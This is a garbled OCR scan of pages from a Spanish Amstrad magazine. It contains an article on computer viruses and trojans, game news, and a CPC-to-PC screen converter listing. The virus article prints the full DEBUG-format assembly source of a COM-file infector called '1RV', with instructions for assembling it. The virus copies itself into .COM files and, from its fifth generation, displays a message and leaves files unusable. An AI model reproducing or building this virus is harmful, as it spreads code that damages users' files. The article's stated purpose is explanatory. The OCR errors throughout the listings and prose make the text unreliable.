encargaba de hacer aparecer msis- 
tentemente un mensaje pidiendo 
una galleta, a lo que el programa- 
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dor debla responder escribiendo 
«galleta>’, con lo que podria seguir 
trabajando; de lo contrario su orde- 
nador quedari'a bloqueado. Algunos 
hacen aparecer pelotitas en panta- 
lla, otros cambian la etiqueta de los 
discos, y en general, acostumbran 
a realizar algun tipo de gracia ino- 
cua. 

Sin embargo, aquellos que han 
provocado mayor preocupacfon 
son, como ya senalabamos, los vi¬ 
rus de tipo destructive, encargados 
principalmente de danar discos du 
ros y borrar diskettes. La ultima ac- 
tuacion de uno de estos programas 
tuvo lugar muy recientemente en 
las bases de datos de el periodico 
The Providence Journal, de Rhode 
Island, en las que un virus destru- 
yo una ingente cantidad de informa- 
cion antes de poder ser controlado. 
Sus autores fueron dos hermarios 
propietarios de un establecimiento 


dedicado a la venta de software en 
Lahore (Pakistan), que pretendian 
evitar que sus programas fuesen 
copiados por los piratas. Precisa- 
mente con el fin de evitar la pirate- 
ha, en los manuales de algunos 
programas han aparecido adver- 
tencias como: «EI sistema de pro- 
teccion contra copia de este progra¬ 
ms es rnuy sofisticado. Cualquier 
copia no legal puede producir efec- 
tos catastroficos en datos a los que 
tenga aeceso.» 

Como un eslabon mas de la ea- 
dena de acontecimientos, no tarda- 
ron en aparecer en el mercado pro¬ 
gramas «antivirus», creados y co- 
mercializados en su mayoria por 
pequerias casas de software y en¬ 
cargados tanto de localizar y des- 
truir los virus como de desinfectai 
los discos contagiados. El gran ne- 
gocio que supone la venta de estos 
programas «vaeuna» hace pregun- 


los compatibles PC e * afectar a 

asusr-ttw 


tarse a mas de uno si los virus no 
habran tenido este lucrativo objeto 
desde un principio. 

Pero, aparte las anecdotas. he- 
rnos de saber en que consiste 
exactamente un virus para saber 
como tomar medidas ante el. como 
combatirlo. Con relacion a este 
punto, lo primero que hay que ad- 
vertir es que lo que vulgarmente lla- 
marnos virus engloba a dos clases 
de programas encargados de intro- 
ducirse en nuestro ordenador sin 
que lo advirtamos. Son los llama- 
dos programas «Troyanos» y pro¬ 
gramas «Virus». 


El programa virus V1RV.COM listado en el formato empleado 
por DEBUG. Para obtener V1RV.COM erearemos un fichero 
ASCII de contenido identic© at de este listado y de nombre 
V1RV.DEB. Despu6s utilizaremos el programa del DOS 
DEBUG, mediante la orden DEBUG < V1RV.DEB, 


NV 1RV.C0H 
A 

JMP 0116 

DB 90,49,56.00.2A, 2E, 43,4F, 4i>, 00 , 4F , 04,00,O0;-O 1,00,00,00,00,00 
MOV AX.CS 
ADD AX,1000 
MOV ES,AX 

INC BYTE PTR C010S1 ; Increments el contador de generac iones. 

MOV Si,0100 
XOR DI,DI 
MOV CX.014F 
REPZ 
MOVSB 

HOV DX,025 F 
HOV AH, 1A 

INT 21 i Se encarga de crear el DTA para los f icheros... 

HOV DX.01C6 i con extension .COM 

MOV CX,0016 

MOV AH.4E 

INT 21 

JB 019E 

MOV DX,027D 

MOV AX, 3D02 '» Abre el fichero en modo leciura/escr itura. 

INT 21 

MOV [01141,AX 

MOV BX.AX 

PUSH ES 

POP DS 

MOV DX.034F 

HOV CX.FFFF 

MOV AH,3F 

INT 21 

ADD AX,034F 

CS: 


Troyanos y virus 

Los programas troyanos, llama- 
dos asi por seguir una estrategia si¬ 
milar a la del conocido Cabailo de 
Troya, se encuentran camuflados 
en aplicaciones o juegos y actuan 
de manera destructiva mientras no- 
sotros permanecemos ajenos a 
cuanto esta sucediendo en nuestro 
disco duro o diskette. Los progra¬ 
mas troyanos suelen adquirirse via 
modem, a traves de BBS, pero su 
radio de accion es minimo si se ca- 
rece de disco duro y son incapaces 
de propagarse. 

El otro tipo de programa es el 
tambien metaforicamente llamado 
virus. Este, al contrario que el an¬ 
terior, se encarga de «contagiar 
se», es decir, contiene un algorftmo 
que lo reproduce en cualquier dis¬ 
co no infectado que usemos, inclu- 
yendo el disco duro. Esta reproduc- 
cion es controlada por el propio vi¬ 
rus mediante un contador que al lie- 
gar a una qeneracion determinada 
le hace actuar como un proarama 
troyano, bien relizando una ino- 
cente aparicion, bien destruyendo 
cuanto este a su alcance. 

Dado que la accion de los progra¬ 
mas troyanos no pasa de una se- 
sion de trabajo, y realmente los 
mas peligrosos por su difusion, asi 
como los mas interesantes por su 
programacion son los virus, pasa- 
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A contiuuaci6n, la firma del virus: 


Despla 2 a el puntero. 


Salva virus y programa contaninado. 


Cierra el fichero. 


Restaura el DTA original. 
oQuinta generaci6n?... 

Si es asi, comienza el espectaculo. 


Aleatonedad de man i f estac ion del virus... 
mediante el registro de ddcimas de segundo. 


MOV CO 1123,AX 
db 3E,81,3E 
DB 52,03 
DB 49,56 
JZ 0188 
XOR CX,CX 
MOV DX,CX 
CS: 

MOV BX,CO 114] 

HOV AX,4200 
INT 21 
JB 0188 
HOV DX,0000 
CS: 

HOV CX,C0112] 

CS: 

MOV BX,CO 114] 

MOV AH,40 
INT 21 

CS: 

HOV BX,C0112] 

MOV AH.3E 
INT 21 
PUSH CS 
POP DS 
HOV AH,4F 
MOV DX,025F 
INT 21 
JB 019E 
JMP 013E 
HOV DX,0080 
MOV AH, 1A 
INT 21 

CMP BYTE PTR C01053.05 
JB 0207 
MOV AX,0040 
MOV DS,AX 
MOV AX,C006C] 

PUSH CS 
POP DS 
AND AX,0001 
JZ 0207 
HOV DX,0 1C4 
MOV AH,09 
INT 21 

INT 20 ; A continuacion, el mensaje del virus. 

DB 45,6E,20,74,75,20,50,43,20,68,61,79,20,75,6E,20,76,69,72,75,73, 20 
DB 52,56,31,2C,20,79,20,82,73,74,61,20,65,73,20,73,75,20,71,75,69,6E 
DB 74,61,20,67,65,6E,65,72,61.63,69,A2,6E,20,01,20,20,20,20,20,OA.OD 
DB 24 

MOV SI,0224 
MOV CX,002B 
XOR DI,DI 
REPZ 
MOVSB 
XOR DI,DI 
CS: 

MOV WORD PTR C010E],0000 
CS: 

HOV CO 110],ES 
CS: 

JMP FAR C010E] 

PUSH DS 
POP ES 
MOV SI,044F 

CMP BYTE PTR CO 105],01 

JNZ 0234 

SUB SI,0200 

MOV D1,0100 

MOV CX,FFFF 

SUB CX,SI 

REPZ 

MOVSB 

CS: 

HOV WORD PTR C0100],0100 
CS: 

MOV C0102],DS 
CS: 

JMP FAR CO 100] ; Salto a la ejecucion del verdadero programa... 

; siempre que se trate de una generaci6n... 

; posterior a la pnmera, y por tanto, exista. 


INT 20 
INT 20 
DB 0,0 


RCX 
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remos a tratarlos en profundidad. 

Los virus desarrollados para los 
compatibles PC pueden actuar de 
dos formas: bien como programas 
residentes en la memoria del orde- 
nador, bien contagiandose a traves 
de ficheros copiados de un diskette 
a otro, tal y como veremos en el vi¬ 
rus 1RV listado en este articulo 

Los virus residentes suelen tener 
una natural predileccion por intro- 
ducirse en el primer sector (el de 
botado) de nuestros diskettes, y 
desde alii, interceptar la interrup- 
cion 13H, encargada de los servi- 
cios de funcionamiento de disco. 
Puesto que todo acceso a cualquier 
disco pasa habitualmente por la 
gestion de esta interrupcion, el con- 
Tagio estara asegurado. Pero no 
basta con esto, ya que los virus po- 
drian entonces ser detectados con 
una simple revision del primer sec¬ 
tor mediante un programa como el 
DEBUG. Para evitar ser descubier- 
to, cada vez que pidamos un lista¬ 
do del sector de botado el virus in- 
terceptara nuestra orden y nos 
rnostrara un listado de un sector de 
botado sano, pasando asi desaper- 
cibido, a menos que utilizemos una 
version del DOS no contaminada 
para revisar este primer sector. 
Tambien se encargara de ocultar 
los restantes sectores que necesite 
para su funcionamiento, haciendo- 
los parecer defectuosos. Esto se lo- 
gra mediante una marca apropiada 
en la FAT (tabla de localizacibn de 
ficheros). 

Otros virus residentes se introdu- 
cen en los archivos del sistema, 
como COMMAND.COM. IO.SYS y 
MSDOS.SYS, y desde alii, forman- 
do parte del sistema operativo, con- 
tagian a otros ficheros de las mis- : , 
mas caracteristicas que sean utili- j 
zados en la misma sesion y en el 
mismo ordenador o en uno distinto 
conectado al primero. 

Los virus no residentes se intro- 
ducen en los ficheros con extension 
EXE 6 COM, convirtiendolos en cal- 
do de cultivo. Cuando uno de estos 
ficheros sea copiacto en otro disket¬ 
te. repetira la operacibn de inocular 
el virus en todos los archivos de las 
caracteristicas mencionadas. Estos 
virus son f&cilmente detectables, a 
menos que manipulen la FAT, ya 
que suelen aumentar el tamario de 
los ficheros de una manera bastan- 
te descarada y ralentizan la ejecu- 












cidn de los programas en los que 
se refugian. 

Vacunas 
y antibioticos 

A pesar de lo elaborado de estos 
programas infecciosos y de sus de- 
sastrosas consecuencias, no mere- 
cen sino una cierta preocupacion y 
unas cuantas precauciones. Los 
metodos de prevencidn son simila- 
res a los que empleariamos contra 
un virus real. Asi, se suele decir que 
al igual que no nos llevari'amos nin- 
gun alimento u objeto que estuvie- 
se sucio a la boca, tampoco debe- 
riamos insertar en nuestro ordena- 
dor discos de origen desconocido. 
Otra eficaz medida preventiva con- 
siste en colocar etiquetas protecto- 
ras a cuantos discos podamos, o 
activar el atributo de «s6lo lectura» 
en aquellos ficheros susceptibies 
de contagio, asi como apagar el or- 
denador (no resetear, sino desco- 
nectar) despues de una sesidn de 
trabajo con un disco sospechoso de 
infeccion. 

Los programas obtenidos de 
BBS y los procedentes de universi- 
dades tienen un alto riesgo (en la 
Universidad Politecnica de Barcelo¬ 
na se dieron recientemente algunos 
casos), por lo que una meticulosa 
revision de los mismos dismmuira 
el peligro de contagio. 

Por ultimo, existen diversos pro¬ 
gramas que de un modo u otro se 
encargan de interceptar virus. Los 


metodos que emplean son, entre 
otros, realizar un checksum de los 
ficheros y de la FAT cuando se 
sabe que no estan infectados, sir- 
viendo de patron para posteriores 
comparaciones; avisar de cualquier 


Los virus que destru- 
yen la informacidn at- 
macenada en los dis¬ 
cos duros y, en gene¬ 
ral, todos los defectos 
destructivos, son los 
que causan mayores 
preocupaciones. 


intento de acceso a un programs; o 
hacer una revision de las cadenas 
ASCII de los ficheros, que puede 
revelar mensajes provenientes de 
los virus. 


El virus 1RV 

El virus que presentamos a con- 
tinuaciOn, que estuvo a punto de 
afectar a nuestros ordenadores, es 
relativamente inofensivo, y su pre- 
sencia es facilmente detectable. Su 
contagio se produce a traves de los 
ficheros con extension COM, en los 
que se incluye con el fin de propa- 
garse. Al reproducirse por quinta 
vez se revelara al usuario con cier¬ 
ta aleatoriedad. La denominacion 


1RV indica su modo de actuacion: 
virus retardado, ya que no se ma- 
nifesta hasta la quinta generacion, 
impidiendo la posterior utilizacfon 
del fichero. 

El virus afecta a los programas 
con extension COM que residen en 
el mismo disco. Debido a que tiene 
que crear en un espacio muy limi- 
tado de memoria un area de datos 
para cada uno de los ficheros a 
contaminar, no podra contagiar 
mas de 15 archives seguidos, con 
lo que su utilizacion en disco duro 
puede reparar alguna que otra sor- 
presa. El virus evita grabarse sobre 
si mismo o sobre un fichero ya con- 
taminado mediante la identificacion 
de ciertos bytes. 

Por ultimo, comentaremos las 
posibles defensas contra este mini¬ 
virus , que son muy sencillas. Basta 
poner una etiqueta contra escritura. 
colocar el atributo de solo lectura 
de los ficheros COM o analizar los 
primeros bytes de cualquier fichero 
sospechoso de contaminacion. 
Para erradicarlo de un fichero ten- 
dremos que eliminar de el todo el 
codigo del virus, excepto el salto 
(JMP) que pasa el control al progra¬ 
ma en si, o mas sencillamente, 
borrar todos los ficheros COM afec- 
tados. Su inclusion en estas pagi- 
nas tiene el unico proposito de 
mostrar el modo de actuacion de 
los virus y sus efectos. que. como 
ya hemos visto, en este caso no 
son excesivamente daninos. 

J. Ramis Perez 



Los mejores precios, los productos mas utiles. Al final de la re vista 
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Y tambien... 


Revista usuarios CPC 464/472/664/6128 


Ano III 
Num. 37 


68. T x T: De CPC a PC. 

74. Trucos. 

78. Juegos: 

Master of Universe, 
Buggy Boy, Mask, Bu- 
ble, Mask, Terra Cog 
nlrta. 

89. Las aventuras de Car¬ 
valho. 



90. Wizard Waz. 

92. Buscador de Pokes. 
96. Prdximamente. 


INFOGRAMES 


En esta ocasi 6 n 
la historia trata de 
la Guerra de Sece- 
sibn; azules contra 
grises en una 
guerra cruel, lu- 
chando por los de- 


rechos y la libertad 
de los hombres. 

Si las cosas van 
bien pronto lo ten- 
dremos en nues- 
tras pantallas. 


UTIUDADES 

MINI OFFICE II es una de las ulti¬ 
mas novedades que comentaremos en 
el proximo numero. 

Se trata de un paquete integrado 
con base de datos, procesador de tex- 
to, hoja de cblculo y comunicaciones. 



Un nuevo juego. Una 
mezcla de arcade y aven- 
tura se entremezclan con 
un personaje femenino: 
Mata-Hari. Empieza el es- 
pionaje de la mano de Lo- 
riciels, es el momenta de 
demostrar tus habilidades 
como espla. 



Loriciels esta preparando la bata- 
lla con nuevos y sorprendentes jue¬ 
gos. 

• A-320 combina los simulado- 
res con las aventuras y los arcades; 
en esta ocasion la cosa va de avio- 
nes. 

• 944 Turbo Cup, un nuevo si- 
mulador de carreras de coches. De- 


LORICIELS 
ATACA DE 
NUEVO 

beras demostrar tus habilidades en 
la pista y luchar por la copa. 

• Neuro-Gym; este programa no 
tiene otra pretension que entretener 
y desarrollar la capacidad mental 
de cada persona. 

Es un juego entretenido, donde lo 
que mas cuenta no son los reflejos. 
sino la mente. 


Bytes 

^Te gusto la chica del Barba¬ 
rian?, ipues preparate!; Ilega 
Barbarian II. 

• Hace tiempo salio a la ven- 
ta una conversibn de las maqui 
nas recreativas: 1942. El tema 
era un singular avion al que de¬ 
bias conducir hasta su base; 
pues bien, ahora Ilega su segun- 
da parte: 1943. 

• Un nuevo modelo de joys¬ 
tick, probablemente pronto inva- 
dira nuestro mercado. Se trata 
del Executive Joystick, produci- 
do por LORICIELS. 

• Parece ser que por los 
tiempos que corren. a la hora de 
sacar un juego, todos se copian 
de todos: OVERLANDER, FIRE 
& FORGET, ROAD BLASTER y 
NINETEEN. ^Quibn se ha co- 
piado de quien? 

• Primero fue el Street 
Sports BASKETBALL, distribui- 
do por ERBE. Ahora nos Ilega el 
Street Sports SOCCER realiza- 
do por EPYX y que seguramen- 
te sera distribuido por ERBE. El 
juego, como su propio nombre 
indica, va de futbol. En un pnn 
cipio estara solo disponible para 
CEM, esperemos que no tarde 
mucho la version para AMS- 
TRAD. 




































A UNQUE a todos nos entu- 
siasmaria utilizar los mag- 
m'ficos juegos desarrolla- 
dos para Amstrad CPC en 
los PC. esta claro que las conver- 
siones de programas son tarea re- 
servada a programadores expertos 
que cuenten con los medios ade- 
cuados para simplificar la labor. Lo 
que si resulta posible ahora, gra- 
cias a nuestro programa CPCPC, 
es transferir las pantallas de un 
CPC a un PC (pero, jojol, solo las 
imagenes en modol, CPCPC no 
sirve para el modo 0 del CPC). 

Pese a que la transferencia de 
programas es imposible, las panta¬ 
llas graficas si que pueden ser in- 
tercambiadas de un equipo a otro. 
Con esta idea en mente, nos pusi- 
mos a trabajar y conseguimos un 
programa capaz de mostrar en el 
PC una pantalla en formato CPC. 

El primer paso fue transferir pan 
tallas de programas para CPC al 
PC. Esto se consiguio conectando 
ambos ordenadores via RS232. El 
software de comunicaciones utiliza- 
do en el CPC fue Mini Office, un pa- 
quete integrado que incluye base 
de datos, procesamiento de textos, 
hoja de calculo, etcetera. En el PC 
utilizamos Qmodem y Mirror II. De 
esta forma enviamos al PC varies 
ficheros de pantallas del CPC. 

Teniendo ya estos ficheros en el 
Amstrad PC. escribimos un peque- 
no programa en ensamblador en- 
cargado de convertir las imagenes 
en formato CPC al formato propio 
del PC. Conseguimos asi disfrutar 
en el monitor del PC de algunas de 
las mas impresionantes imagenes 
creadas para los CPC, con la posi 
bilidad de retocar las imagenes en 
el PC, usando, por ejempfo, el pa- 
quete de dibujo PC Paintbrush. Y 
decidimos ofreceros la oportunidad 
de que vosotros hicierais lo mismo. 

El programa que escribimos, lla- 
mado CPCPC.COM, cuyo listado 
podeis encontrar junto a estas li- 
neas, muestra a! ejecutarlo un 
menu con toda la informacion que 
se necesita. Es capaz de manejar 
hasta cuatro bancos de memoria, 
en los que se pueden almacenar 
otras tantas pantallas. Ademas. 
permite usar hasta cinco unidades 
de disco, de la A a la E, leer de una 
umdad y grabar en otra diferente, 
cambiar de subdirectorio dentro de 
una unidad de disco, etcetera. En 
conjunto. y dejando al margen fal- 



DE CPC A PC 

CONVERSOR DE PANTALLAS 


Listado 1. CPCPC en formato Macro Assembler. 


CSEG SEGMENT PARA PUBLIC ’CODE’ 

ASSUME CS■CSEG,DS:CSEG.ES'CSEG.SS:CSEG 


DB’ 

CONVERSOR DE PANTALLAS CPC -> PC 

NENS2 DB‘ 

UNIDAD A LEER 1 A;| N* DE BANCOS | l | 2 | 3 1 4 

HENS3 DB‘ 

UNIDAD A GRABAR | A:| BANCO DE MEMORIA ACTIVO | 1 

HENS4 DB‘ 

PA.Y FICH. LEEE 1 \ 

HENS5 DB' 

PA.Y FICH.GRABAR | \ 

DB' 

H MOSTRAR BANCO ACTIVO | 1-2-3 CAMBIAR BANCO ACTIVO 

DB* 

L-UNIDAD LECTURA | G-UNIDAD GRABAR ^ ESC- TERM 1NAR 

DB' 

N-CAMINO Y NOHBRE PARA LECTURA | X-lDEH PARA GRABAR 

DB* 

R-LEER DATO DEL DISCO | W-GRABAR BANCO ACT.EN DISCO 

DB * 
DB ' 

PARA LOS LECTORES DE AHSTRAD USER | COPYRIGHT I960 


DB 


ERROR 

FCPC 

KPC 


DB ’ERROR DE LECTURA/ESCR»TURA \ OAH,ODH. ‘4‘ 
DB 'A:\CPC.P1C 
DB 'A!\PC.P1C 


BUFFER DB 


1NICI0 PROC NEAR 


MOV 

MOV 

MOV 

MOV 

MOV 

INT 


AX.CS 
DS. AX 
ES, AX 
SI,03000K 
AX.0003H 
10H 


PUSH DX 

COM IENZO; 

POP DX 
MOV AII,OEM 
!NT 10H 
MOV DX.OOH 
HOV AH.02H 
INT 10H 

HOV DX,OFFSET HEMS 1 
HOV AH,OSH 
I NT 2 1H 
PUSH AX 


iHODO TEXTO 80X25 
:BORRA LA PANTALLA 


iPOSIClONA EL CURSOR 
t X * 0 Y = 0 


iSACA MENU 
;£N LA PANTALLA 


*.OAH.ODN 
,‘ .OAH.ODH 
*.OAH.ODH 
‘.OAH.0DH 
’.OAH.ODH 
*.OAH.ODH 
\ OAH.ODH 
•.OAH.ODH 
*.OAH.ODH 
•.OAH.ODH 
‘.OAH.ODH 
‘.OAH.ODH 
‘.OAH.ODH 
.OAH.ODH 
'.OAH.ODH 
‘.OAH.ODH 
‘.OAH.ODH 
’ .OAH.ODH 
‘ .OAH.ODH 
‘.OAH.ODH 
‘.OAH.ODH 
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Listado 1. (Continuacidn.) 


CPC 


OTRA: 


COM! 


POP AX 
XOR AX,AX 
INT 16H 
CMP AX.1lBH 
JN2 COM 
CALL FIN 


LEE EL TECLADO 


SI PULSO ESC 
TERMINA EL PEG. 



CMP 

AL.31H 

; SI FUE UN UNO 


JNZ 

CONt 



CALL 

BANCO 1 

i ACTIVA BANCO 1 


CALL 

C0M1EN20 

; Y RETORNA. 

CONI. 

CMP 

AL.32H 

; SI FUE UN DOS 


JNZ 

COM2 



CALL 

BANC02 

5 ACTIVA BANCO 2 


CALL 

COHIENZO 

; Y RETORNA. 

COM2! 

CMP 

AL.33H 

1 IGUAL SI FUE UN TRES 


JNZ 

COM3 



CALL 

BANC03 



CALL 

COM IENZO 


C0N3: 

CMP 

AL.34H 

1 0 SI FUE UN CUATRO 


JNZ 

C0N3A 



CALL 

BANC04 



CALL 

COM IENZO 


C0N3A: 

AND 

AL.ODFH 

?PONE LAS LETRAS EN HAYUSCULAS. 


CHP 

AL.4DK 

5Y SI FUE UNA H 


JNZ 

COM4 



CALL 

HOSTRAR 

1 HUESTRA PANTALLA 


CALL 

COM IENZO 

t DEL BANCO ACTIVO Y RETORNA 

C0S4. 

CMP 

AL.4CH 

iSI FUE UNA L 


JNZ 

CON5 



CALL 

UN1DADL 

; CANBIARA LA UNIDAD 


CALL 

COHIENZO 

LUEGO RETORNARA , 

CONS? 

CMP 

AL.47H 

i CON UNA G IRA A 


JNZ 

CON6 



CALL 

UNIDADG 

; CAHBIAR UNIDAD DE 


CALL 

COHIENZO 

; GRABAR Y RETORNARA, 

C0N6: 

CMP 

AL.4EH 

; CON UNA N TE PEDIRA NOMBRE 


JN2 

CONT 



CALL 

NOHBREL 

; DEL FICHERO A LEER 


CALL 

COHIENZO 

; Y LUEGO ... RETORNARA. 

C0M7: 

CMP 

AL,S8H 

; SI FUERE UNA X TE PEDIRA 


JNZ 

CONS 



CALL 

NOHBREC 

; NOMBRE DEL FICHERO A CRABAR 


CALL 

COHIENZO 

i RETORNANDO AL MENU LUEGO. 

CONS; 

CMP 

AL.52H 

I SI ES UNA S LEERA DEL DISCO 


JNZ 

C0N9 



CALL 

READ 

; EN EL BANCO ACTIVO 


CALL 

COHIENZO 

; Y IRA LUEGO AL MENU 

CONS: 

CMP 

AL.S7H 

; CON UNA W GRABARA EN FORMATO 


JNZ 

CONO 



CALL 

WRITE 

5 PC LA PANTALL DEL BANCO 


CALL 

COHIENZO 

1 ACTIVO .RETORNANDO AL MENU, 

COMO: 

CALL 

OTRA 

; SI NO DAS UNA DE ESTAS TECLAS 


\ Ifc PfcUlKA U1KA ItULA . 

FINAL: 



; FINAL CON ERROR 


FOP 

CX 



HOV 

DX,OFFSET ERROR 

iPI NTA HENSAJE DE ERROR 


MOV 

AH,OSH 



INT 

2 1H 



XOR 

AX, AX 

; ESPERA UNA TECLA 


INT 

16H 



PUSH 

1 CX 

; Y .... 

FIN: 



; FINAL SIN ERROR 


POP 

CX 



MOV 

AX.3H 

S TRAS BORRAR LA PANTALLA 


INT 

10H 



XOR 

AX, AX 

; RETORNA 111 


INT 

2 1H 

; AL SISTEHA l D.O.S. » 


BANCOl: 

MOV 

BL.31H 


i PONDRA UN UNO EN PANTALLA 


MOV 

DI .OFFSET 

HENS3 



MOV 

SI,03000H 


i TOHARA HEHOR1A 3000:0000 


JMP 

BANCO 


•. SALTARA A CAHBIARLO , 

BANC02• 

MOV 

BL.32H 


; PONDRA UN DOS EN PANTALLA 


MOV 

DI .OFFSET 

MENS3 O 



MOV 

SI,G4000H 


; Y TOHARA EL BANCO 4000:000 


JMP 

BANCO 


5 E IRA A CAHBIARLO. 

BANC03: 

HOV 

BL.33H 


; IGUAL PERO CON UN TRES Y 


MOV 

DI .OFFSET 

MENS3 



HOV 

SI.OSOOOH 


; CON EL BANCO 5000:0000 


JHP 

BANCO 



BANC04: 


C 


0 


HOV 

BL.34H 


i IGUAL CON EL BANCO 6000:0000 


MOV 

DI .OFFSET 

HENS3 



MOV 

S1,06000H 


i Y PONIENDO UN CUATRO 

BANCO: 

ADD 

DI.S2 




HOV 

BYTE PTR t 

:dii.bl 

CAHBIA LOS DATOS. 


RET 




MOSTRAR 

PUSH 

SI 


; SACA EN PANTALLA EL BANCO ACTIVO 


HOV 

AX.SI 




MOV 

DS. AX 




HOV 

AX.0004H 


; HODO VIDE 320X200 BORRA PANTALLA 


INT 

10H 




HOV 

DX,OBSOOH 




HOV 

ES, DX 




XOR 

DI , DI 


C 


XOR 

SI,SI 




sas modestias, podemos afirmar 
que se trata de una buena herra- 
mienta para quienes deseen pasar 
imageries de uno a otro ordenador. 

Ei funcionamiento del programa 
es sencillo. Una vez en el menu, 
pulsando las teclas una a cuatro se- 


COm/ERSOR DE FANfAUA$ CPC —> PC 


UWI&AD A LEER I C l N* DE EM:0S 


IHBBD 


U«ir« A Ej HE HDtjRIA ftCTIW 


PA.* PICH. LEEfi 


PA.? PICH.6BABAR 


N-H^IRAS F HCO ACT 1U0 i 1-2-3 CAUBIAR BAttCO ACT1W0 


l-tHIfst LECTUPA I G-UUEAD GSriBAR 


EH'gSlilf! 
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R-LEER lAtO DEL DISCO | U-6RABAR BaW) ACT.EM DISCO 


PARA LOS LEC70RES DE AKSTRAD USER I COPYRIGHT 1938 



Menu del conversor de pantailas. 


leccionamos el banco o zona de 
memoria con que se va a trabajar: 
exactamente los bancos son 
3000:0000, 4000:0000,....6000:0000. 

Pulsando 'N' se puede cambiar el 
nombre y directorio del fichero se- 
leccionado para su visualization en 
ei PC. La tecla ‘X’ permite estable- 
cer el nombre y directorio en que se 
grabara la imagen ya en formato 
PC. L a tecla ‘L da a elegir la uni- 
dad de disco de la que se leeran 
los ficheros. La ‘G tiene la misma 
funcion, pero en este caso se utili- 
za para activar la unidad en la que 



Imagen perteneciente al juego de CPC Tro- 
glo en e! monitor de un PC. 

se grabaran los datos. Despues, 
mediante la pulsacion de la tecla 
■R', el programa leera el fichero an- 
teriormente especificando y, tras 
reorganizar la pantalla, dejara la 
imagen en el banco que este acti- 
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Listado 1. (Continuacidn.) 


TECLA A TECLA 



vo en ese momenta. Pero posible- 
mente la tecla mas interesante sea 
la ‘M\ que, por fin, nos permitira ver 
la imagen en la pantalla. 

Si en algun momenta hubiera uri 
error en la lectura del disco, de tipo 
puerta abierta, fichero inexistente. 
error en datos..., el programa lo in- 
dicaria y devolveria el control al 
DOS. 

Por ultimo, decir que se ofrecen 
dos listados del programa: el prime- 
ro de ellos, para su utilization con 
el Macro Assembler de Microsoft; el 
segundo, en BASIC2, es un carga- 
dor que crea automaticamente el fi¬ 
chero CPCPC.COM. 

Colman y Alvaro 


Listado 2. Cargados en BASIC 2. 


PRINT "PROGRAMA DE CREAC10N DEL PROGRAMA CPCPC.COM¬ 
PRINT • ==z========================z==r==r====- 

REH *** hace coaprobacion de validez de los dates 
crc=0 

FOR 1*1 TO 2047 
READ a* 

crc=crc+VAL( - &*+a*) 

NEXT i 

IF (crc <> 258187) THEN PRINT 'PROGRAHA HAL TECLEADOSTOP 
REH *** los datos ostan bien, crear fichero 
OPEN #3 NEW OUTPUT 'cpcpc.cot 
RESTORE 

FOR i-1 TO 2047 
READ a t 

PRINT tt3,CHR*<VAL(**."+a*)) I 
NEXT i 
CLOSE #3 
END 

REH ** esta es la tabla de datos del prograaa cpcpc.con: 

DATA E9,9A,05,DB,DF,DF,DF,DF,DF,DF,DF,DF,DF,DF,DF,DF 
DATA DF, DF, DF, DF, DF. DF.DF, DF, DF, DF. DF. DF . DF, DF. DF. DF 
DATA DF, DF, DF. DF, DF, DF, DF.DF. DF, DF, DF, DF. DF. DF, DF, DF 
DATA DF.DF.DF.DF,DF,DF.DF,DF.DF,DB,DF,DF,DF,DB.OA.OD 
DATA DB,20,20.20,20,20,20,20,20,43,4 F,4 E,56,45,52,S3 
DATA 4F,52.20,44,45.20.50,41,4E,54.41,4C,4C,41.53,20 
DATA 20,43,50.43.20,2D,2D.2D,3E,20,50,43,20,20,20,20 
DATA 20,20,20.20,20,20.DB,20,20.20.DB.OA,OD,DB,DF,DF 
DATA DF,DF,DF.DF.DF,DF,DP.DF,DF,DF,DF,DF,DF, DF, DF, DB 
DATA DF, DF. DF, DB, DF, DF.DF, DF, DF, DF, DF, DF , DF, DF, DF , DF 
DATA DF, DF. DF, DB, DF , DF, DF, DB, DF , DF, DF, DB. DF. DF, DF, DB 
DATA DF,DF,DF,DB,20,43,20,DB I OA,OD,DB,20,55,4E,49,44 
DATA 4 1.4 4,20,41.20,20,4C.45,45,52,20,20.DB.20,41,3A 
DATA DB,20,4E,F8,20,44.45,20,42,41,4E,43,4F.53,20.20 
DATA DB,20,31.20.DB,20,32,20,DB,20,33,20.DB,20,34.20 
DATA DB,20,4F , 20,DB,OA.OD,DB,DF,DF,DF,DF,DF,DF,DF.DF 
DATA DF, DF.DF, DF, DF, DF, DF.DF, DF, DB, DF, DF.DF, DB, DF, DF 
DATA DF, DF, DF, DF, DF, DF, DF, DF, DF, DF. DF, DF, DF, DF, DF, DF 
DATA DF,DF.DF.DF,DF,DF.DF.DF.DF,DB,DF,DF.DF,DB,20,4C 
DATA 20,DB.OA.OD,DB.20,55,4E,49,44,41,44,20,41,20.47 
DATA 52,41,42,41,52,20,DB.20,41,3A.DB.20,42,41,4E,43 
DATA 4F.20,44,45.20.20,4D,45,4D,4F.52,49,41,20,20,41 
DATA 43,54,49,56,4F,20.DB.20,31,20,DB.20.4D.20.DB.OA 
DATA OD,DB,DF,DF.DF.DF,DF,DF,DF.DF,DF,DF,DF,DF.DF,DF 
DATA DF,DF,DF,DF,DB,DF.DF,DF,DF.DF,DF.DF,DF,DF,DF,DF 
DATA DF.DF.DF, DF,DF.DF,DF,DF, DF,DF,DF,DF,DF,DF,DF,DF 
DATA DF.DF.DF,DF,DF,DF,DF.DB.20,41,20,DB.OA.OD,DB.20 
DATA SO,41,2E,59.20,46,49.43,48,2E,20,40.45,45,52,20 
DATA 20,DB,20,5C,20,20,20,20,20,20,20,20,20,20,20,20 
DATA 20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20 
DATA 20,20,20,20,DB,20,4E,20,DB,OA,OD.DB,DF,DF,DF,DF 
DATA DF.DF,DF.DF,DF.DF,DF.DF,DF,DF,DF,DF,DF,DF,DB, DF 
DATA DF,DF,DF,DF,DF,DF,DF.DF,DF, DF,DF,DF.DF,DF, DF, DF 
DATA DF, DF, DF, DF, DF. DF, DF, DF, DF, DF. DF, DF, DF, DF. DF, DF 
DATA DF,DB.20,20,20,DB.OA.OD,DB,20,50,41,2E,59.20,46 


MOV CX.2000H 
REP HOVSW 
HOV DX.CS 
NOV ES,DX 
XOR AX.AX 
I NT 16H 
HOV AX.CS 
NOV DS.AX 
NOV AX.3H 
INT 10H 
POP SI 
RET 


PUSH DI 

HOV Dl.OPPSET NENS2 
MOV BX,OFFSET FCPC 
ADD DI.14H 
NOV DX.0314H 
JHP UN IDAD 


UNJDADG: 


PUSH DI 

NOV DI,OFFSET HENS3 
NOV BX,OFFSET FPC 
ADD DI,14H 
HOV DX.0S14H 

PUSH BX 
NOV AH.OFH 
INT 10H 
HOV AH.02H 
INT 10H 
XOR AX,AX 
INT 18H * 

